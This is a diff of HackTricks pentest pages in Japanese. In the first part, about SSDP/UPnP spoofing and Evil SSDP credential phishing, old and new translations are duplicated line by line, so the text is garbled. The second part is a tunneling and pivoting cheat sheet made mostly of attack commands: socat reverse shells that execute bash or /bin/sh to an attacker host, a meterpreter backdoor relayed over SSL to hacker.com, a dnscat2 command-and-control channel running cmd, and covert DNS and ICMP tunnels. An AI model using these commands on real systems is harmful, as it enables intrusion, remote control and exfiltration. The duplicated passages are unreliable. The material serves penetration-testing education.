* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**詳細については[https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)をチェックしてください。**
**詳細情報については[https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)を確認してください。**
## **SSDPおよびUPnPの概要**
SSDPSimple Service Discovery Protocolは、UDPポート1900で動作し、DHCPやDNSの設定を必要とせずにネットワークサービスの広告と検出に使用されます。これはUPnPUniversal Plug and Playアーキテクチャで基本的であり、PC、プリンタ、モバイルデバイスなどのネットワークデバイス間のシームレスなやり取りを容易にします。UPnPのゼロ構成ネットワーキングは、デバイスの検出、IPアドレスの割り当て、およびサービスの広告をサポートします。
SSDPSimple Service Discovery Protocolは、ネットワークサービスの広告と発見に利用され、DHCPやDNSの設定を必要とせずにUDPポート1900で動作します。これはUPnPUniversal Plug and Playアーキテクチャの基本であり、PC、プリンター、モバイルデバイスなどのネットワーク接続デバイス間のシームレスな相互作用を促進します。UPnPのゼロコンフィギュレーションネットワーキングは、デバイスの発見、IPアドレスの割り当て、およびサービスの広告をサポートします。
## **UPnPのフローと構造**
UPnPアーキテクチャには、アドレッシング、検出、記述、制御、イベント、プレゼンテーションの6つのレイヤーが含まれます。最初に、デバイスはIPアドレスを取得するか自己割り当てを試みますAutoIP。検出フェーズにはSSDPが関与し、デバイスはアクティブにM-SEARCHリクエストを送信したり、パッシブにNOTIFYメッセージをブロードキャストしてサービスをアナウンスします。クライアントデバイスの相互作用に不可欠な制御レイヤーは、XMLファイル内のデバイス記述に基づいてコマンドの実行にSOAPメッセージを利用します。
UPnPアーキテクチャは、アドレッシング、発見、説明、制御、イベント、プレゼンテーションの6層で構成されています。最初に、デバイスはIPアドレスを取得しようとするか、自動的に割り当てますAutoIP。発見フェーズでは、SSDPが関与し、デバイスはM-SEARCHリクエストを積極的に送信するか、サービスを発表するためにNOTIFYメッセージを受動的にブロードキャストします。制御層は、クライアントとデバイスの相互作用に不可欠であり、XMLファイル内のデバイス説明に基づいてコマンドを実行するためにSOAPメッセージを利用します。
## **IGDおよびツールの概要**
IGDInternet Gateway Deviceは、標準のWANインターフェース制限にもかかわらず、NATセットアップで一時的なポートマッピングを可能にし、オープンなSOAPコントロールポイントを介してコマンドを受け入れることを可能にします。**Miranda**のようなツールはUPnPサービスの検出とコマンドの実行を支援します。**Umap**はWANアクセス可能なUPnPコマンドを公開し、**upnp-arsenal**のようなリポジトリはさまざまなUPnPツールを提供します。**Evil SSDP**は、スプーフィングされたUPnPデバイスを介したフィッシングに特化し、合法的なサービスを模倣するためのテンプレートを提供します。
IGDInternet Gateway Deviceは、NATセットアップで一時的なポートマッピングを促進し、標準のWANインターフェース制限にもかかわらず、オープンなSOAP制御ポイントを介してコマンドを受け入れることを可能にします。**Miranda**のようなツールは、UPnPサービスの発見とコマンドの実行を支援します。**Umap**はWANアクセス可能なUPnPコマンドを公開し、**upnp-arsenal**のようなリポジトリはさまざまなUPnPツールを提供します。**Evil SSDP**は、偽のUPnPデバイスを介したフィッシングに特化しており、正当なサービスを模倣するためのテンプレートをホストしています。
## **Evil SSDPの実用的な使用法**
Evil SSDPは効果的に説得力のある偽のUPnPデバイスを作成し、ユーザーを見た目が本物のサービスとやり取りさせることで操作させます。ユーザーは本物の外観に騙され、資格情報などの機密情報を提供する可能性があります。このツールの柔軟性は、スキャナーやOffice365、さらにはパスワードボルトなどのサービスを模倣するさまざまなテンプレートに及び、ユーザーの信頼とネットワークの可視性を活用します。資格情報を取得した後、攻撃者は被害者を指定されたURLにリダイレクトし、欺瞞の信憑性を維持できます。
Evil SSDPは、信頼できる偽のUPnPデバイスを効果的に作成し、ユーザーを騙して見かけ上の正当なサービスと相互作用させます。ユーザーは本物の外観に騙され、資格情報などの機密情報を提供する可能性があります。このツールの多様性は、スキャナー、Office365、さらにはパスワードボールトなどのサービスを模倣するさまざまなテンプレートにまで及び、ユーザーの信頼とネットワークの可視性を利用します。資格情報をキャプチャした後、攻撃者は被害者を指定されたURLにリダイレクトし、欺瞞の信頼性を維持します。
## **緩和**
## **緩和戦略**
これらの脅威に対抗するための推奨される対策には次のものがあります:
これらの脅威に対抗するために推奨される対策は以下の通りです:
- 不要な場合はデバイスでUPnPを無効にする。
- ユーザーにフィッシングとネットワークセキュリティについて教育する。
- 暗号化されていない機密データのネットワークトラフィックを監視する。
要するに、UPnPは便利さとネットワークの流動性を提供しますが、潜在的な悪用の可能性も開いてしまいます。ネットワークの整合性を確保するためには、意識と積極的な防御が重要です。
要するに、UPnPは便利さとネットワークの流動性を提供しますが、同時に潜在的な悪用の扉を開くことにもなります。意識と積極的な防御がネットワークの整合性を確保する鍵です。
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# トンネリングとポートフォワーディング
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
**Try Hard Security Group**
@ -23,12 +26,12 @@
## Nmapのヒント
{% hint style="warning" %}
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを機能させるには**ping discoveryを無効に**`-Pn`)し、**TCPスキャン**`-sT`)を指定する必要があります。
**ICMP**および**SYN**スキャンはソックスプロキシを通じてトンネリングできないため、**pingディスカバリーを無効にする**`-Pn`)必要があり、**TCPスキャン**`-sT`)を指定する必要があります。
{% endhint %}
## **Bash**
**ホスト -> ジャンプ -> 内部A -> 内部B**
**ホスト -> ジャンプ -> InternalA -> InternalB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -46,11 +49,11 @@ evil-winrm -u username -i Jump
```
## **SSH**
SSHグラフィカル接続X
SSHグラフィカル接続 (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### ローカルポートツーポート
### Local Port2Port
SSHサーバーで新しいポートを開く --> 他のポート
```bash
@ -60,9 +63,9 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
### ポートツーポート
### Port2Port
ローカルポート --> 侵害されたホストSSH --> 第三のボックス:ポート
ローカルポート --> 侵害されたホスト (SSH) --> 第三\_ボックス:ポート
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
@ -70,13 +73,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
ローカルポート --> 危険にさらされたホストSSH --> どこでも
ローカルポート --> 侵害されたホスト (SSH) --> どこでも
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### リバースポートフォワーディング
これは、内部ホストから DMZ を介してホストにリバースシェルを取得するために役立ちます。
これは、DMZを通じて内部ホストからあなたのホストへのリバースシェルを取得するのに役立ちます
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -85,9 +88,9 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
### VPNトンネル
### VPN-Tunnel
両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)そしてsshdの設定でrootログインを許可する必要があります:\
両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)およびsshdの設定でrootログインを許可する必要があります\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -97,40 +100,38 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
サーバーサイドで転送を有効にします。
サーバー側で転送を有効にする
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
クライアント側で新しいルートを設定します。
クライアント側に新しいルートを設定する
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
**SSHUTTLE**を使用して、ホストを介してサブネットワークへのすべてのトラフィックを**SSH**経由で**トンネリング**できます。\
たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送する場合
あなたは**ssh**を介してホストを通じて**サブネット**へのすべての**トラフィック**を**トンネル**することができます。\
例えば、10.10.10.0/24へのすべてのトラフィックを転送すること。
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
プライベートキーを使用して接続します。
プライベートキーで接続する
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
## Meterpreter
### ポートツーポート
### Port2Port
ローカルポート --> 侵害されたホスト(アクティブセッション) --> サードボックス:ポート
ローカルポート --> 侵害されたホスト (アクティブセッション) --> 第三\_ボックス:ポート
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
SOCKSSocket Secureは、ネットワークソケットを通じてトラフィックを転送するためのプロトコルです。通常、ファイアウォールをバイパスするために使用されます。
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -138,7 +139,7 @@ use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
もう一つの方法:
の方法:
```bash
background #meterpreter session
use post/multi/manage/autoroute
@ -153,9 +154,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## Cobalt Strike
### SOCKS proxy
### SOCKSプロキシ
**ビーコンを介してトラフィックをルーティング**するために使用できるすべてのインターフェースでリッスンしているチームサーバーでポートを開きます。
すべてのインターフェースでリッスンしているチームサーバーにポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -166,16 +167,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく、そこから指定されたホスト:ポートにトラフィックが送信されます。
この場合、**ポートはビーコーンホストで開かれます**、チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
### rPort2Port ローカル
To note:
- Beaconのリバースポートフォワードは、**個々のマシン間の中継ではなく、Team Serverへのトラフィックをトンネリングするために設計されています**。
- トラフィックは**BeaconのC2トラフィック内でトンネリングされます**、P2Pリンクを含みます。
- **管理者権限は必要ありません** 高ポートでリバースポートフォワードを作成するために。
### rPort2Port local
{% hint style="warning" %}
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく**トラフィックはCobalt Strikeクライアントに送信**され、そこから指定されたホスト:ポートに送信されます。
この場合、**ポートはbeaconホストで開かれます**、Team Serverではなく、**トラフィックはCobalt Strikeクライアントに送信されます**Team Serverではなく、そこから指定されたホスト:ポートに送信されます。
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -185,14 +192,14 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Webファイルトンネルをアップロードする必要がありますashx|aspx|js|jsp|php|php|jsp
ウェブファイルトンネルをアップロードする必要があります: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## Chisel
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)のリリースページからダウンロードできます。\
**クライアントとサーバーで同じバージョンを使用する必要があります**
**クライアントとサーバーで同じバージョンを使用する必要があります**
### socks
```bash
@ -203,7 +210,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### ポート転送
### ポートフォワーディング
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -213,7 +220,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
リバーストンネル。トンネルは被害者から開始されます。\
127.0.0.1:1080 socks4 プロキシが作成されます。
127.0.0.1:1080にsocks4プロキシが作成されます。
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
@ -221,7 +228,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
**NTLMプロキシ**を介してピボット
**NTLMプロキシ**を介してピボットする
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -243,15 +250,15 @@ attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### ポートツーポート
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### ソックスを介したポートツーポート
### Port2Port through socks
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### SSLソケットを介したMeterpreter
### MeterpreterをSSL Socat経由で
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -261,17 +268,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
あなたは被害者のコンソールで最後の行の代わりにこの行を実行することで**非認証プロキシ**をバイパスすることができます:
あなたは被害者のコンソールで最後の行の代わりにこの行を実行することで**非認証プロキシ**をバイパスできます:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tunnel
### SSL Socat トンネル
**/bin/sh コンソール**
両側で証明書を作成します:クライアントとサーバー
クライアントとサーバーの両方で証明書を作成します。
```bash
# Execute these commands on both sides
FILENAME=socatssl
@ -285,9 +292,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### リモートポートツーポート
### Remote Port2Port
ローカルSSHポート22を攻撃者ホストの443ポートに接続します。
ローカルSSHポート22を攻撃者ホストの443ポートに接続します。
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -295,18 +302,18 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
これはコンソール版のPuTTYのようなものでオプションはsshクライアントに非常に似ています
コンソール版のPuTTYのようなものでオプションはsshクライアントに非常に似ています
このバイナリは被害者で実行されるため、sshクライアントであるため、逆接続を持つためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートにフォワーディングするだけです
このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートに転送するには
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
## Windows netsh
### ポートツーポート
### Port2Port
任意のポートに対してローカル管理者である必要があります
ローカル管理者である必要があります(任意のポートについて)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -318,20 +325,20 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
**システム上でのRDPアクセスが必要です。**\
**システムへのRDPアクセスが必要です**。\
ダウンロード:
1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールはWindowsのRemote Desktop Service機能から`Dynamic Virtual Channels` (`DVC`)を使用します。 DVCは**RDP接続を介してパケットをトンネリング**する責任があります。
1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールは、Windowsのリモートデスクトップサービス機能からの`Dynamic Virtual Channels``DVC`を使用します。DVCは**RDP接続を介してパケットをトンネリングする**役割を担っています。
2. [Proxifier ポータブルバイナリ](https://www.proxifier.com/download/#win-tab)
クライアントコンピューターで**`SocksOverRDP-Plugin.dll`**をロードします。
クライアントコンピュータで**`SocksOverRDP-Plugin.dll`**を次のように読み込みます:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**.
今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim****接続** でき、**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** することになります。
**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:
**RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@ -339,18 +346,18 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
netstat -antb | findstr 1080
```
Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.**
今、[**Proxifier**](https://www.proxifier.com/) **を使用してそのポートを通じてトラフィックをプロキシできます。**
## Proxify Windows GUI Apps
## Windows GUIアプリをプロキシ化する
Windows GUIアプリをプロキシ経由で操作するには、[**Proxifier**](https://www.proxifier.com/) を使用できます。\
[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリがプロキシを通じてナビゲートできるようにします。\
**Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\
**Profile -> Proxification Rules** でプロキシを適用するプログラム名とプロキシを適用したいIPへの接続を追加します。
**Profile -> Proxification Rules** でプロキシ化するプログラムの名前とプロキシ化したいIPへの接続を追加します。
## NTLM proxy bypass
## NTLMプロキシバイパス
述のツール: **Rpivot**\
**OpenVPN** もこれをバイパスでき、構成ファイルで次のオプションを設定します:
述のツール: **Rpivot**\
**OpenVPN** もこれをバイパスでき、設定ファイルにこれらのオプションを設定します:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -358,8 +365,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
プロキシに対して認証し、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介して選択したツールを使用できます。\
たとえば、ポート443を転送します。
プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを介してお好みのツールを使用できます。\
えば、ポート443を転送します。
```
Username Alice
Password P@ssw0rd
@ -367,34 +374,34 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。\
また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。
## YARP
A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Microsoftによって作成されたリバースプロキシです。こちらで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
## DNSトンネリング
### Iodine
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
DNSクエリを使用してトンネルデータを作成するためには、両方のシステムでroot権限が必要です。
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
トンネルは非常に遅くなります。次の方法を使用して、このトンネルを介して圧縮されたSSH接続を作成できます
トンネルは非常に遅くなります。このトンネルを通じて圧縮されたSSH接続を作成するには、次のようにします:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
[**ここからダウンロードしてください**](https://github.com/iagox86/dnscat2)**.**
[**ここからダウンロード**](https://github.com/iagox86/dnscat2)**.**
DNSを介してC\&Cチャネルを確立します。ルート権限は必要ありません。
DNSを通じてC\&Cチャネルを確立します。ルート権限は必要ありません。
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -403,21 +410,21 @@ victim> ./dnscat2 tunneldomain.com
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **PowerShell**
#### **PowerShell**
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **dnscatを使用したポート転送**
#### **dnscatを使用したポートフォワーディング**
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### プロキシチェーンのDNSの変更
#### プロキシチェインのDNSを変更する
Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコードされています。変更するには、ファイルを編集します_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
## Goでのトンネル
@ -430,7 +437,7 @@ Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエス
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してそれらの間でデータをトンネリングするために必要です。
両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してデータをトンネリングします。
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -438,7 +445,7 @@ ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.1
```
### ptunnel-ng
[**ここからダウンロードしてください**](https://github.com/utoni/ptunnel-ng.git).
[**ここからダウンロード**](https://github.com/utoni/ptunnel-ng.git).
```bash
# Generate it
sudo ./autogen.sh
@ -454,8 +461,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/)は、1つのコマンドラインでインターネットにソリューションを公開するためのツールです。**
*エクスポージョンURIは次のようになります:* **UID.ngrok.io**
**[ngrok](https://ngrok.com/) は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。**
*公開URIは次のようになります:* **UID.ngrok.io**
### インストール
@ -471,7 +478,7 @@ chmod a+x ./ngrok
**ドキュメント:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*必要に応じて、認証およびTLSを追加することも可能です。*
*必要に応じて、認証TLSを追加することも可能です。*
#### TCPトンネリング
```bash
@ -481,15 +488,15 @@ chmod a+x ./ngrok
